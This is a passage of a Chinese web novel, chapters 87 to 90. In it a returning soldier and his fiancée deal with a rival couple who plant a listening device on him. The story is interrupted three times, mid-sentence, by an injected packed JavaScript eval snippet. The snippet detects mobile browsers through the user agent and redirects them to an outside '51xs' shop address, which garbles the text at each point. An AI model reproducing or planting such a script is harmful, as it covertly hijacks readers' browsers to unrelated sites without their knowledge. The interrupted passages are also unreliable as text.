而且,主要是符伊年,她不想自己和祝镕的私密话语被人观赏、品评、甚至批阅。她宁可请祝军长带话。所以认真说起来,这一年里,两个人的交流比较少。 但是,有时候就是这样,时间和地域的相隔,并不会让感情被冲淡,反而因为思念和担忧,日益增强。 拥抱到足够久,符伊年有些累,想要分开坐下。祝镕却不想分开,不过可以坐下。于是现在变成了祝镕坐在圆桌边的椅子上,符伊年侧着坐在了祝镕的大腿上。 “我看你撑着伞要出门,要去哪里吗?”祝镕搂着符伊年的腰,在她耳边问。 符伊年怀疑祝镕是故意的,故意用嘴唇擦着她的耳廓,用气音说了这句话,热气顺着耳道吹进去,痒得符伊年起了鸡皮疙瘩。 “要去学校一趟,帮老师登记下成绩。”符伊年推着他让他离自己不要那么近,“好热。”七月中旬了,马上入伏了。 祝镕环视了一圈这个正厅,没有发现电扇,又注意到她耳后有汗水沁出,就稍微往后退了一点,“只有你自己吗?我记得你们辅导员,是个男的吧?” 符伊年一下子就听出了他话里的意思,翻了个大白眼,“不要胡思乱想。”又说:“当然不止我一个,还有其他二个女生,那么多科目,我一个人登记得登记到什么时候去?” 现在还没有电脑,一切都是手写,手腕会断的好吧? 祝镕若有所思,“那我和你们一起去吧,我的字还可以,能帮忙的。” 符伊年往后仰了仰,盯着祝镕端详了一会儿,“你是有什么企图吗?” 祝镕哭笑不得,“我能有什么企图,就是觉得多个人多只手能快点,而且,我才回来呢。” 符伊年自动翻译了他的话:我才回来呢,舍不得和你分开,想和你分分秒秒在一起。 符伊年忍不住脸热,不过祝镕说得有道理,他才回来呢,她也舍不得立即同他分开,不然为什么磨磨唧唧黏黏糊糊地不肯起身不肯离开? “登记完成绩,我们去一趟王府井吧,给你这房子买个电扇,入伏后就更热了。”祝镕说着看向外头,“你怎么不住正房?正方比厢房好多了。” “我把正房留给叔叔阿姨住了,”符伊年将头靠在祝镕肩头,“这里离阿姨医院比军区大院更近,阿姨可以随时过来休息,就把正房留给阿姨和伯伯了。” 祝镕点头,然后在符伊年面颊上亲了一下,“谢谢年年。” 为什么谢谢,二人心知肚明。符伊年也没有谦让,很痛快地收下这声谢,正要说“那你以后对我好点”,就听祝镕吐槽:“这两老不厚道啊,占了你的正房,连个风扇都不给你买?” 符伊年:……你听听你说得是什么话?像话吗? 吐槽归吐槽,无语归无语。眼看日头高升气温升高,两个人不再磨蹭,起身准备出发。 出发前,祝镕去了一趟厕所,符伊年进房间换了件裙子——坐得太久,棉布旗袍都坐皱了。 符伊年换了一身浅草绿的乔其纱长裙,泡泡袖和蕾丝裙摆,看起来更娇俏一些,和刚刚穿鹅黄色棉布旗袍是两种完全不同的风格,祝镕从厕所回来后看到,眼睛都直了。 符伊年很满意他的目光和表情,得意地笑了笑,拉着人出门。 祝镕没有开车,他和符伊年一起去坐公交车,跟在她的身后像是尽职尽责的保镖,替她举着小花伞,提着装了水杯的帆布包。 对于符伊年来说大小合适的阳伞和帆布包,在祝镕手里就像是迷你版,看起来格外小巧玲珑。 上了公交,符伊年出钱买了两张车票,然后率先去后面找了座位坐下,看着祝镕在车门处笨手笨脚地收伞,抿着嘴偷偷笑。 似乎心有灵犀,祝镕也在这个时候抬头看过来,正看到她抿着嘴在笑,眼睛都笑得弯起来,眯成了一条缝。 祝镕好笑,收好伞提着挎包来到她身边坐下,用手臂轻轻碰了她一下,“看我出丑就这么高兴?” 符伊年点头,“你不懂。” 并不是因为出丑才高兴,她只是喜欢他这样即便不擅长,依然愿意为她去做这件事的态度,是因为态度才开心。 祝镕没有追问,在他看来,只要她高兴就好,自己出丑就出丑,无所谓。她开心才最重要。 符伊年和祝镕到达农大时,其他几个人都已经开始了。符伊年连连道歉,并没有说祝镕突然归来,只说自己出门晚了。 “不过,我带了个帮手过来,”符伊年拍拍祝镕的手臂,“别愣着了,干活去。” 祝镕冲几个同学点点头,将符伊年的帆布包和伞挂在一旁的衣架上,走过去和辅导员商量自己的工作。 而符伊年,已经被管方和刘洋拉去了一旁。 “年年,这就是你对象吗?”管方压低了声音问,“好高!”管方比符伊年矮,刚刚到一米六。 而刘洋知道的更多一些,“他这是从南疆回来了?以后不走了吗?总算是平安归来,你也不用日夜担忧了,那段时间你眼看着就瘦下来了。” 符伊年笑笑,“就是她,你们俩中午别走,让他请吃饭。等开了学再请宿舍其他人。”说到这里,符伊年停顿了一下,“如果那时候还在京城的话。” 说到同宿舍,刘洋拉了拉符伊年的胳膊,“于思华也来了,你小心点,她一直针对你,还打听你对象的情况,你可看紧了。” “她怎么来了?”符伊年惊讶,“当初辅导员点名让她来她都不来,如今怎么又来了?” 另外两人都摇头,“谁知道她呢?”说着拍拍她,“你可长点心,别让她得逞。”刘洋和管方都觉得于思华对祝镕有觊觎之心。 符伊年笑笑,“腿长在他自己身上,我哪里困得住?再说,要是就这样被于思华挖了墙角,说明是我符伊年做人的失败。” 说话间,于思华从门外进来了,看到符伊年后,不冷不热地点点头,接着就看到了正在和辅导员讲话的祝镕。 说真的,符伊年亲眼看着她的眼睛“噌”一下,就像拉下了开关一样,亮了。紧接着于思华看向符伊年,“年年,你对象回来了?”语气还挺轻快。 符伊年心里翻白眼,别叫得那么亲热,还“年年”,你以前都是直呼大名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211988|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好吗? 这么多人,又是在辅导员办公室,符伊年不想表现得太失礼,便只是冷淡地“嗯”了一声,就不再搭言。 于思华见符伊年不搭理自己,也没在意。她们二人彼此都十分清楚对方的脾气,尤其于思华,她十分清楚自己在符伊年那里得不到什么好脸色,干脆转向了正在和辅导员说话的祝镕。 “祝同志,你从战场上回来了?平安无事可真是太好了,我十分敬佩你们这些英雄,为了祖国和人民,不顾生命危险,太英勇了。”于思华平时说话就柔柔的,此时更是嗲了起来。 符伊年&刘洋&管方:鸡皮疙瘩掉满地啊。 祝镕本来正在与符伊年的辅导员寒暄,忽然听到有人同自己说话,声音尖尖的,像是被踩了尾巴的猫一样,非常刺耳、难听。 听完对方的话,发现都是对自己的赞扬和夸奖,听起来都是好词和褒义词,可是不知道为什么,祝镕就觉得别扭,像是对方在说反话。 大概是因为不真诚吧。 祝镕看了这位女同志一眼,说了句“谢谢”,然后收回视线继续同辅导员讲话,没有理会于思华。 于思华被冷漠对待,咬了咬嘴唇,转身重新出去了。 刘洋和管方看向符伊年,以目光询问她:她干啥去了? 符伊年摊摊手耸耸肩,表示自己也不知道,“我要是知道,我岂不是变成了和她一样的人?” 刘洋和管方愣了一瞬,接着会心笑起来:符伊年说得十分在理,思想不正常的人正常人是无法理解的。 “不要试图理解奇葩,那样只会让自己变成奇葩。”符伊年压低声音同她们俩讲,“这世界上永远没有感同身受。” 管方思考了一瞬,不禁对符伊年竖起大拇指,她发现年年很多话都有着人生哲理,经常能给人很多启示。 几个人聊了一会儿,辅导员那里也将任务分配好了,于是各自重新坐下,开始认真工作。 登记成绩这个工作很简单,就是有点繁琐。把卷子上的密封条拆掉,按照姓名和分数重新登记在表格上,然后再把每个人的所有科目重新汇总在个人成绩表上,最后核对无误后存入档案。 符伊年抄完一科目的时候,直起身来转了转脖子又揉了揉手腕,开始无限怀念后世的计算机。 唉。 符伊年叹出一口气,正准备重新低头去登记下一科目,眼角余光却发现于思华从门口进来了,身后还跟着一个男同志。 因为背着光,一开始符伊年还没认出来,直到两人都走进了她才认出来,这不是于思华那位“丈夫”吗? 于思华二人走进来后直奔辅导员,“辅导员,我也叫了个帮手来,您再重新分配下任务吧。” 她这话引起了办公室里所有人的注意。辅导员见有帮手,当然十分高兴,立即从几个女生那里抽了几个科目交给于思华的“丈夫”。 而符伊年和刘洋、管方三个人互相用目光询问后,都是茫然。 唯一一个没有感觉的人是祝镕,他表情平静地看了眼进来的两个人,重新低下头做自己的事。别人看过去的话,只会觉得他做事认真。 却没人发觉,他的神经已经紧绷起来。 88. 怪异 第八十八章 于思华的丈夫名叫“顾麒章”,听起来很好听,放在后世,绝对是排在绿江男主姓名排行里靠前的。 只是顾麒章本人却并没有什么霸总之气,反而像极了那些油腻男。不知道抹了多少的头油,头发光滑的苍蝇落上去能劈叉,脸也十分的白,能看出来绝对是擦了颜粉——真正的“油头粉面”,字面意义上的。 大夏天的别人恨不得只穿一件背心,胡同大爷们甚至已经光膀子,这位却穿了件长袖白衬衫。自以为风流潇洒,实际上汗臭味已经飘出十里外去了。 符伊年和刘洋对视一眼,都是一样的心思:就这?于思华就和这么个人结婚了?她眼睛没有出问题吧? “大家好,我是顾麒章,这是我的爱人于思华,我听说她在学校做事情,就主动过来帮忙,希望我能和大家相处愉快。” 顾麒章虽然长得油头粉面,但是声音是正常的,甚至还有些好听,有点像译制片里的男主的配音,可能于思华十个声控? 不过符伊年对他的印象依然不好,太自我了,一句话里四个“我”,甚至颠倒主次,明明是于思华把他喊来办公室帮忙的吧,还有不应该说“我是于思华的爱人”吗,这样颠倒主语宾语真的好吗? 有人来帮忙,辅导员还是很欢迎,不过对待他并不如对待祝镕那样热情,毕竟辅导员也是于思华的辅导员,对于她这位偷摸进女舍、趁夜爬水管的丈夫还是印象深刻的。至于说早就登记领了结婚证,这里头的猫腻,大家都懂的。 重新分配了任务,大家都认真做起事来。 “天热,大家早点做完早点休息。”辅导员笑着说,“我请大家吃饭。” 符伊年和管方对视一眼,一个拍手鼓掌叫好,一个起哄说不要去食堂。 辅导员:“行,那就校门外的‘美食佳’,这个可以吧?” “美食佳”是六月份之后出现在农大校门外的一家饭馆,饭馆面积不大,六张四人方桌,一个十人圆桌包厢。既能做家常小炒、面点饺子,也能做鸡鸭鱼肉、各大菜系,主打一个丰俭由人。 其实符伊年是打算让祝镕在这里请管方和刘洋吃饭的,不过既然辅导员提出来了,当然不能抢了风头,立即带头鼓起掌来,“范老师大气!” 因为有这一顿饭做钩子在前面吊着,加上人手充足,事情很快做完。 于是在去饭馆的路上,就出现了这样的情形:范辅导员带着刘洋和管方走在前面,符伊年拉着祝镕慢吞吞地走在最后,中间是于思华和顾麒章。 这两个人夹在中间十分难受,想走快点吧,范辅导员和刘、管三人已经将道路占满了,他们若是凑过去就得走到两边的花坛里去。 若是走慢点吧,符伊年和祝镕两个人在后面旁若无人地窃窃私语,两个人更加挤不进去。 十分尴尬。 他们的这种尴尬前面的三个是看不见的,倒是走在最后的符伊年和祝镕,看得一清二楚。 “你和这位于同学,关系不好?”祝镕压低了声音在符伊年耳边问。 符伊年挑挑眉,“你怎么知道的?”并不否认。 祝镕:“我用眼睛看到的啊,你一看她,那表情就想吞了苍蝇。” 符伊年无语,您观察得还挺仔细,形容得也十分精确呢。 “回去和你说,那就是一朵大奇葩。”符伊年一言难尽的表情,逗得祝镕笑得合不拢嘴。 这两人在谈论前面的两个,殊不知,那两个也在谈论他们俩。 顾麒章低声问于思华,“你问出来了嘛?不是说战争早就结束了,他怎么这么晚回来,军队有什么部署?” 于思华对着顾麒章翻了个白眼,“我才第一次见他,能那么直白地问出来吗,他又不是傻子。”只有你这种傻逼才会问这么没头脑的问题。 于思华最近一直在后悔,后悔自己不该一时贪慕虚荣,为了漂亮的衣服、昂贵的化妆品而同这个男人在一起,这个人只是表面上光鲜亮丽,实际上糟透了,什么工农大学生,就是走关系抢了别人的名额才来的! 可是已经上了贼船了,逃不掉了,如今之计,只能听从他们的,从符伊年那里套取些有用的信息,或许可能早点逃出苦海。 “那你这么久都干什么了?!”男人感受到于思华的鄙视,有些不悦,也责备起她来,“一年多了,都是些模糊的信息,十条只有一条真,一点用的都没有。” 最后一句也不知道是说于思华这个人还是于思华搜集到的信息。不管说的是哪样,于思华的表情都非常难看,未免被旁人看见,她还要极力保持正常。若是此时有人看过来,会发现她的表情极度扭曲。 到了饭馆,范辅导员数了下人头,决定进包厢去吃。他想的很好,一共七个人三男四女,八个菜就够了,最多就再一人要一瓶饮料,自己一个月工资,绰绰有余。 想是想的挺好,实际情况却不是这样的。 范辅导员做主点了两个菜,又让其他人来点,刘洋和管方有些拘谨,不肯点,将菜单推给了符伊年,符伊年点了一个,绕过祝镕将菜单递给于思华和她丈夫。 于思华才接过菜单去,还没打开,就被顾麒章夺了过去,之后哗啦啦一口气点了四个菜,最后又要了一瓶酒。 符伊年看到随着对方点菜数量的增加,范辅导员的面色就黑一分,直到对方说“来一瓶衡水老白干”的时候,已经黑得能滴出水来了。 包间里所有人,除了合不拢嘴的服务员,其他人都低着头不言不语,心中却差不多都是同一个想法:忒没眼色了! 气氛一时有些僵,服务员却恍若不知,还在怂恿范老师再点一个菜,“七是单数不好听,八多好听啊,成双成对的,八八八发发发嘛,发财发财。” 大概是服务员的话说得好听,也可能是范老师自己觉得这样确实更好,于是便重新点了个凉菜,又说让拿六瓶汽水,“顾同志点了酒,就不喝汽水了吧?” 符伊年正在喝水,闻言一个不慎,被呛到了,“咳,咳咳咳。” 符伊年一边咳一边心想,这范老师够坏的,摆明了让顾麒章一个人喝酒,那一会儿结账的时候是不是也要他把酒的账结了啊,毕竟只有他一个人喝了啊,其他人可是边都没挨着。 等菜的间隙,顾麒章从裤子口袋里摸出了一盒熊猫烟来,特意将烟盒正面露出来给众人看,然后敲了两支烟递给范老师和祝镕。 不料,这二人一齐摆手,“不会。” 顾麒章虽然惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221392|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶但是也没多说,将其中一支放回去,另外一支点燃,自顾自抽了起来。 符伊年皱了皱眉,到底没有说什么。 大家算是熟人了,因此没有什么“食不言”的规矩,都是一边吃一边说话,评价一番菜品,寒暄一番众人的情况。 这期间,符伊年就发现了,于思华的这位丈夫,每次总是有意无意地把话题往祝镕身上引,借着酒意问些和南疆、和部队有关的事。 别说祝镕和符伊年,就连最迟钝的刘洋都觉出不对了,目光在几个人之间徘徊。范辅导员的表情也不好看,毕竟这顿饭是他做东,老问祝镕算怎么个事儿? 于思华很快发现了众人的异样,在桌下扯了扯顾麒章,示意他不要太直接,然后自己讪笑着同众人解释:“他喝多了,你们不要见怪。” “你才喝多了!老子明白着呢。”顾麒章瞪了一眼于思华,重新看向祝镕,“兄弟,我跟你说,女人,不能给好脸,今天给了好脸明天就能跐鼻子上脸跐脸上天。” 说着说着,竟然站了起来,绕过几个人直接来到祝镕身后,一只手擎着酒杯,一只胳膊搭在了祝镕的肩膀,“男人!要霸气!这样女人才翻不了天,才老实听话。” 在场的四个女性,除了于思华表情讪讪的十分尴尬,其他人都是嗤之以鼻。 “更何况,兄弟你条件这么好,想要什么女人没有,”顾麒章在祝镕肩膀上拍了拍,还贴心地替他整理了一下衣领,“要是厌了这个,哥哥替你找个好的,国内国外都行,什么宋小姐孔小姐的,都行!” “哎哟。”顾麒章说得正起兴,突然觉得脚趾被踩住了,还转着圈地踩,正要低头去看,只觉得胸口又像是被什么杵了一下子,疼得他肋骨都快断了。 “哎呀,对不住。”祝镕突然站了起来,“你看我这,想喝水动作大了些,胳膊肘撞到您了吧?”祝镕一脸的抱歉,一只手扶在顾麒章的手臂上,另外一只手按在他的胸口,“是撞到这里吧?真是对不起我给您揉揉。” 祝镕手下一个用力,顾麒章“嗷——”的一声,将包间里的几个人都吓到了。 符伊年坐在座位上一直没动,表情也没变过,甚至还有心思同管方和刘洋商量过两天要去逛街。 于思华坐在一旁既心疼顾麒章又因为被孤立而尴尬,整个人坐立不安。 范老师一直在冷眼旁观,此时终于开口,“大家都吃好喝好了吧,那就到这儿吧,各自回家吧,我就不送你们了。” 最后范老师还是将那瓶酒一起买了单,不过他心头高兴,虽然自己花了钱,可是那人可是断了肋骨啊——他坐的那个位置看起清清楚楚,祝镕用掌根生生给按在顾麒章胸口的时候,他脸都白了。 刘洋和管方没有让符伊年送,牵着手去坐公交了。范老师还要回办公室,也走了。于思华谎称顾麒章喝多了要回家,随手招了个板车扶着他上去。 符伊年却清清楚楚地听见她说“去最近的医院。” 转回头看向祝镕,他正在自己的衣领上摸索——早上从四合院离开时为了配合符伊年的穿着,他特意换了件白衬衫。 摸索了片刻,祝镕从衣领下面摸出一颗“硬币”。 符伊年瞪大了眼睛,“这什么?!” 89. 夹板气 第八十九章 符伊年瞪大了眼睛,盯着祝镕手心里那个黑色的、一元硬币差不多大小的卡片,这东西有点眼熟,又一时想不起来是什么。 “这是什么?!” 祝镕摇摇头,食指竖起来放在唇上,示意她噤声,然后翻来覆去地观察这枚“硬币”,最后找到一个小箭头,箭头指示的方向写着off,就是关闭的意思。 祝镕想了想,并没有轻易动它,而是直接揣进了裤兜里,“我们去买电扇,去王府井吧,东西齐全一些。” 符伊年见他先是让自己噤声,接着又转移话题,甚至还故意说得大声了一些,隐隐有些明白,就不再追问,顺着他的话往下说,“真的要买风扇啊?我听说现在有一种机器,叫空调,比风扇好用,吹出来的是冷风。” 祝镕也听说过这个机器,甚至还了解过,“是一个大方块,安在窗口,要往里加一种叫‘氟利昂’的制冷剂,而且噪音非常大,用电也非常多。” 符伊年不懂,她以为空调一出现就是分室内机和室外机的,没想到最开始的空调是这样的。 “那还是算了,”符伊年想了想,摇头,“安在窗口多占地方啊,还挡光,不好。” 祝镕一口气噎在胸口,“你还嫌弃,想买还买不到呢,那都是给特殊部门使用的,轮不上咱们。” “哦。”符伊年情绪低落下来,不过很快又恢复了,反正已经改革开放了,国产的买不到,很快就会有进口的了,就是再过几年,国产挂式空调也会诞生的。 不要急,慢慢都会有,而且质量外观什么的,都会更好更强,当然,最重要的是,更节能更省电。 到了王府井,两人没有去别处,直奔卖家电的楼层。 这个时候的王府井,已经是比较高级的商场了,每一层楼都有特定的销售范围,比如一楼是护肤化妆用品、日用百货、母婴用品等商品,二楼是男女服装,三楼是成品鞋包和服装、鞋包定制,四楼才是家电。 这个时期的家用电器,当时不是手电筒,也不再局限于“四大件”中的收音机、缝纫机等。冰箱、洗衣机、电风扇这类现代化一点的家电已经多了起来。 走了一圈下来,符伊年看到了电炉子,但是没有电饭锅。这令她很遗憾。 最后两人在销售风扇的区域挺了下来。风扇的种类也很多,有吊扇、落地扇、台式扇等几种款式和不同的型号。 吊扇主要以蓝绿色为主,三只近一米长的叶片,按钮上分了三档,还有定时键。 “我们大楼用的就是这种。”销售员指向上方,“很凉快的,非常实用。” 符伊年抬头看了眼头顶高速旋转的风扇叶片,摇头,“太高了,卫生不好搞。” 销售员看了眼祝镕,惊讶道:“这大高个子,还怕卫生不好搞?踩个凳子就行了,房子矮点,凳子都不用踩。” 符伊年也看向祝镕,撇嘴,“指望他,我还不如自己爬梯子。” 祝镕知道符伊年对自己的气还没消完,也不反驳,摸了摸鼻子,尝试着挽救:“都留着我休假的时候干。” 符伊年给他一个“算你识相”的眼神,但还是没有买吊扇——她对这玩意有点怕,怕转着转着,“啪”掉下来,虽然她知道几乎没有这种可能。 最终,她还是把目光定在了一台银黑色落地扇上。此落地扇大概一点五米左右高,底下托盘直径约一米,风扇头直径半米左右,铁质罩网,三片白色水滴形叶片,按钮在立柱中上方,风速一共五档,定时分1小时、2小时、4小时三种,还有270度摆头功能。 和后世常见的落地扇功能差不多了。 符伊年一共买了两台落地扇,东厢房一台,正房一台。除此之外,符伊年还是买了一台吊扇回去,她打算给作坊的制作间安上。 四合院的房子高大,前后窗户一开,对流风其实很凉快。不过制作间经常要烧火煮制辣条,还是很热的,安一台吊扇会好很多。 至于经常在外面跑销售的几个销售员,没有办法,只能忍着,不过符伊年提出了“室外气温三十度以上时每个销售员每天给五毛钱高温补贴”,室内制作的工作人员也每天中午买一块雪糕降温祛暑。 作坊开办时,祝镕正在南疆,当时政策虽然有了,但是到底还在试探阶段,符伊年就没有在信中同祝镕讲——他若回来,信中不必讲;他若回不来,信中不必讲。 所以到现在了,祝镕也还不清楚这作坊到底是怎么一回事。 符伊年想跟他讲一讲,但是又想起来他裤兜里装的那个东西,不禁用眼神示意他:能说吗? 祝镕对她办工厂的事一无所知,也不知道涉密没有——大概率是有秘密的吧,秘方也是秘啊。于是将此事暂时放下,说些别的事情,一路悠悠闲闲地回了四合院。 “跟你说件事,”符伊年拉了拉祝镕的胳膊,示意他太阳在动,撑伞的方向也要动一下,“我用你的钱给四合院拉了一条电话线安了电话。” 因为容院长和祝军长经常留宿四合院,两人出钱给这里拉了一条电话线,还说符伊年的作坊现在看着规模小,但很快就会做大做强,尽早把电话安上,有业务的时候才方便。 符伊年觉得很有道理,但是没有让二位长辈出钱,还是一个人出了四千块钱将电话安上了,她这么做是有理有据的:容院长和祝军长几乎只有晚上才在,可是晚上都下班了,哪有那么多电话,更何况这电话安在四合院,那不就是以后他们俩用的时候多? “我当时虽然有些存款,但是安电话肯定是不够的,我就从你存折里取了钱,”符伊年并没有觉得不好意思,歪着头笑着看向祝镕,“两个人的家,你总要出些力吧?” “当然。”祝镕也没有丝毫不悦,甚至十分欣喜,他一直觉得年年在经济上同他区分的过于清楚了,现在肯用他的钱,总算让他找回了些存在感。 祝镕甚至还说,以后存折就放在她那里,“你就是我的财政主管,家里的财政部长。”顿了顿,“不过每个月能不能给十块钱零花钱?”那语气,可怜兮兮,仿佛符伊年真的管着他不给他钱花一样。 “那你要好好表现,表现好了我才给你发零花钱,表现不好,哼。”符伊年下巴一扬双臂抱胸,故意表现得很傲娇得样子。 两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233587|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩笑着打闹着,完全忘记了口袋里还有一枚窃听器,以至于对方窃听了半晌,什么有用的信息都没听到。 也算是歪打正着。 回到四合院,容院长已经回来午休过了,正坐在正房正厅喝茶,打算再休息一会就去上班了。 结果就是这个时候,发现符伊年回来了,身边还跟了一个人,看身形绝对是个男的,嗯,肩宽腰细、形体仪态都不错。 “来客人了啊年年。”容院长放下茶杯,想要起身迎接——虽然她是长辈,但是年年的客人她还是应该热情电。 祝镕跟着符伊年走进二进院,一眼就看到了坐在正房正厅的容院长。说不激动是假的,小一年哪,思念何止是对符伊年,对母亲对父亲,都是一样的。 祝镕快走了两步,正想喊人,结果容院长一句“来客人了啊”把他定在了原地,到了嘴边的那句“妈!”也没喊出口。 符伊年也愣住了,愣住之后就是哈哈大笑,笑得连遮阳伞都撑不住了,干脆直接扔在了地上,指着祝镕笑得整个人都在抖。 “客人!哈哈哈……这位可是你从何处来啊,哈哈哈……客人你好,客人你快进屋,”符伊年拉过祝镕的手把人往屋里推,“客人快请坐,我给你倒茶啊,客人哈哈哈……” 从符伊年大笑开始,容院长就意识到不对劲儿了,只是两人虽然面朝自己却一直背光,她没看清那男同志的面容。 一直到到年年拉着人来到近前,容院长才看出来,“哎呀祝镕!”容院长一拍大腿,“你啥时候回来的?” 说着眼睛在他和符伊年之间看了看,懂了,这是一回来就来找媳妇了。容院长虽然理解年轻人之间的思念之情,可是心里头还是有些别扭,自己养了二十多年的儿子,这就要“有了媳妇忘了娘”了吗? “妈……”祝镕当然看明白了母亲眼中的意思,正想解释,就被符伊年往手里塞了一杯水,她甚至还偷偷捏了捏祝镕的手,暗示他不要多话。 有些时候男人要做两个女人之间的润滑剂,有的时候最好就装傻。 符伊年在容院长身边坐下来,还从茶几上摸了把蒲扇,给两人扇起风来。 “阿姨,你以前还经常和我抱怨祝镕不贴心,我看贴心得很。刚回来就发过来察看您得居住环境了,转了一圈发现说布置太简单了,而且没有风扇,天要热起来了没有风扇怎么行,当下就拉着我去给您买风扇了,走了好几个地方呢,最后才在王府井买到满意的。” 符伊年低头看向手腕上的手表,“店主说三点之前来送货并帮忙安装,这还得一会儿呢。”一边说,一边露出个笑容,做出明知故问的姿态,“您儿子贴心吧?这皮夹克不错吧?” 容院长被符伊年一番话说得心中熨帖极了,露出一个舒心的笑容,“不错,这皮夹克不错,这小棉袄更好。”容院长拉住符伊年空着的另外一只手,拍了拍,很是释然、欣慰的样子。 祝镕在一旁看着听着,目瞪口呆,心说:这就是传说中的“夹板气”? 于是趁着容院长转头和她说话时,竖起一个大拇指,又无声地用口型比划。 “厉害。” 90. 窃听风云 第九十章 因为祝镕的“贴心”举动,容院长心中是既熨帖又舒坦,她心里一高兴,干脆给办公室去了个电话,告诉学生自己下午不去了,若是有事就打电话来找她。 听到她这句话,符伊年和祝镕对视一眼,谁都没说话,符伊年摇蒲扇的动作没停,甚至对容院长这种偶尔逃班摸鱼的行为表示支持。 “偶尔一次有什么要紧,大家都知道祝镕上了战场,如今平安归来,您这个做母亲的留下来和儿子亲近一下聊聊天,人之常情嘛,大家都能理解。” 符伊年的话说到了容院长的心里去了,原本那点旷工的小心虚立即烟消云散。 风扇还没送来,但是符伊年有些累了,她起身把手中的蒲扇塞给祝镕,让他继续给容院长扇风,“我累了,得去睡一下。风扇送来喊我啊。” “去睡去睡,”容院长知道她其实更多是为了留出空间给他们母子,十分领情,“多睡会儿,不急着起来。” 符伊年“嗯嗯啊啊”的应着,给祝镕使了个眼色,回了东厢房。 其实她并不完全是因为要留空间给母子俩亲近,也确实是因为她要午睡——中午不睡,下午崩溃呀。 符伊年这一睡,就睡了一个多小时。其实她平时午睡没有这么久的,今天这么放松、松弛,大概与祝镕平安归来有些关系。 睡梦中,符伊年感觉好像有人进来又出去,又好像听到了汽车声,不过她没有在意,反正祝镕在,于是重新翻身又睡了。 有人进来又出去,实际是祝镕,风扇送到了,他对着说明书安装好后一个放在正房正厅给容院长享受,一个则送到了符伊年的卧室。 符伊年睡得正香,但是因为天热,额头和后颈已经有了汗,偏偏手臂里还抱着一个不知道是什么动物的娃娃,圆鼻子大耳朵,有点怪。 祝镕见状,便把风扇通上电,开到最小的一档和摆头功能,放在离符伊年床边两米远的地方吹着,顺便把她手里的娃娃拿走放到一旁。 吹了一会儿,符伊年的表情就比刚刚好看多了,整个人的睡姿更加舒展,从侧卧变成了平躺,舒展成一个“大”字。 祝镕站在符伊年床边看了好一会,三番五次地按下想亲近的冲动,在汽车笛响起时,才算出了门。 结果一出门就对上容院长揶揄的目光,有些不好意思地挠挠头,转开视线。 “再不出来,我就要进去喊你了。”容院长声音不高,顾及着符伊年还在睡,接着又提出一个很现实的问题,“年年已经大三了,明年就要毕业了,你们俩怎么打算的?” 祝镕一愣,“什么打算?” “结婚的打算哪。”容院长一副“你怎么不开窍”的表情,“人家才上大学你就打了恋爱报告,三年多快四年了,总得打结婚报告了吧。”容院长拉着祝镕的手到了屋檐下没有阳光的地方,“我可听说婚姻法要改革了,女性结婚年龄要从十八周岁推迟到二十周岁,还要取消大学生登记结婚制度。” 祝镕无语了一会儿,推着容院长的肩膀进了屋,“哎呀,就剩一年半毕业了,急什么嘛。年年不是那周囿于家庭围着男人孩子转的人,她所图大着呢,您可别想着用婚姻束缚她。”祝镕不得不提前打上预防针。 容院长白了她一眼,“我是那种长辈嘛,我自己都是事业女性,怎么可能拦着年年。我是说,你得自己长个心眼,暂时打不了结婚报告,起码先把订婚戒指买上啊。” 容院长虽然对祝镕刚回来就直奔符伊年的四合院而不是回军区大院的行为有些不满,觉得他有了媳妇忘了娘,但是那是针对祝镕。 对符伊年,她可是没有半分不满的。这一年来,虽然看起来很多时候是他们老两口照顾年年,年年也不是总在家里,但其实符伊年的存在确实宽慰了他们的心,让他们夫妻俩不至于过于思虑,说一句“天伦之乐”也不过如此。 所以,容院长对于符伊年的关爱之心,并不比对祝镕的少。 “您放心吧,”祝镕再三保证,“我都打了恋爱报告了,组织替您看着我呢。” “什么组织替她看着你呢,”祝军长带着两个人从外头走了进来,问了这么一句,但是并没有非要得到答案,而是说起了另外一个话题,声音还压得特别低,“东西呢?在哪儿?” 祝军长说的东西,其实就是顾麒章放在祝镕身上的那枚像硬币一样黑色的窃听器,因为不确定对我方是否有用,祝镕没有私自销毁这东西,而是打电话给了祝军长,说明了这件事。 祝军长一听,居然有这样的事,立即上报给更军wei,军wei做出指示,一方面派人去抓捕于思华、顾麒章,另一方面,派人跟随祝军长到四合院来到将窃听器带回研究所研究。 这件事虽然说不上十分紧迫,但也要尽快处理,因此祝军长带来的两个人没有多停留,将东西装进一个盒子里,对着祝军长和祝镕敬个军礼又用力地握了握手,就离开了四合院。 